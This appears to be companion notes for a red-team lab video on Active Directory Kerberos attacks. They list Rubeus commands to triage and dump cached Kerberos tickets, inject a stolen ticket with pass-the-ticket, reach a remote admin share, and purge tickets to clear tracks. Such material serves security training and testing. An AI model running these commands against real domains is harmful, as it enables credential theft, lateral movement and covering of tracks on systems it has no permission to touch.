Active Directory Kerberos Red Team OPSEC

Kerberos Attacks Part 2: Ticket Harvesting and Pass-the-Ticket

// part 2 of the Kerberos series

overview

Part 2 of the Kerberos series, following the first video on Kerberoasting and AS-REP Roasting. This time: ticket harvesting and pass-the-ticket (PTT), comparing Rubeus and Mimikatz along the way.

OPSEC note: lab runs with admin rights and no detection mechanisms, but the workflow still follows OPSEC principles throughout.

commands used

// ticket harvesting

triage, overview of available tickets, no extraction yet

# overview first, dump later, triage keeps it quiet Rubeus.exe triage

klist, detailed info on a cached ticket

# check encryption and flags before picking a target Rubeus.exe klist

dump, extract a specific ticket by LUID and user

# target the LUID from triage, nowrap for easy copy Rubeus.exe dump /luid:<ID> /user:<USERNAME> /nowrap

// pass-the-ticket

ptt, inject the harvested ticket into the current session

# paste the Base64EncodedTicket from the dump output above Rubeus.exe ptt /ticket:<BASE64_TICKET_FROM_DUMP>

verify, access a remote host using the injected ticket

# no password prompt, Kerberos auth goes through using the injected ticket dir \\<IP ADDRESS>\c$

purge, clean up injected tickets when finished

# removes tickets from the current session, clears your tracks after the demo/engagement Rubeus.exe purge